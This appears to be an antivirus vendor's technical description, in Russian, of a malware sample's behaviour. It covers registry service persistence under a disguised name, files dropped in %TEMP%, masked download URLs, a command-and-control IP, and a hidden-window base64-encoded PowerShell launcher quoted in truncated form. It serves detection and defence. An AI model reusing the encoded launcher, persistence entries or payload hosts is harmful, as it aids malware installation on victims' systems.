Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\iedkcs32] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\iedkcs32] 'ImagePath' = '"%WINDIR%\SysWOW64\QSVRMGMT\iedkcs32.exe"'
- 'iedkcs32' "%WINDIR%\SysWOW64\QSVRMGMT\iedkcs32.exe"
- 'iedkcs32' %WINDIR%\SysWOW64\QSVRMGMT\iedkcs32.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABJADkAMABzAHUAZgAwAD0AKAAnAFAAdwB0AF8AJwArACcAMgAnACsAJwA0AGoAJwApADsALgAoACcAbgBlAHcALQAnACsAJwBpAHQAZQAnACsAJwBtACcAKQAgACQAZQBuAFYAOgBUAEUATQBwAFwAbwBmAGYASQBjAGUAMgAwADEAOQAgAC0AaQB0AG...
- %TEMP%\office2019\iv88le.exe
- %WINDIR%\syswow64\qsvrmgmt\iedkcs32.exe
- %TEMP%\office2019\iv88le.exe в %WINDIR%\syswow64\qsvrmgmt\iedkcs32.exe
- '18#.#0.61.163':443
- http://tr###nsnow.com/flash/T9/
- http://www.st#####3productions.com/fonts/2v/
- http://18#.##.61.163:443/8u2hE/7hTesBtxXRczX/TRSe2n2foHJU5ip/ykBwiqZua6pqXxn/zk508v5FLe/zVkYvC6BRZh0r7/ via 18#.#0.61.163
- DNS ASK tr###nsnow.com
- DNS ASK st#####3productions.com
- '%TEMP%\office2019\iv88le.exe'
- '%WINDIR%\syswow64\qsvrmgmt\iedkcs32.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABJADkAMABzAHUAZgAwAD0AKAAnAFAAdwB0AF8AJwArACcAMgAnACsAJwA0AGoAJwApADsALgAoACcAbgBlAHcALQAnACsAJwBpAHQAZQAnACsAJwBtACcAKQAgACQAZQBuAFYAOgBUAEUATQBwAFwAbwBmAGYASQBjAGUAMgAwADEAOQAgAC0AaQB0AG...' (со скрытым окном)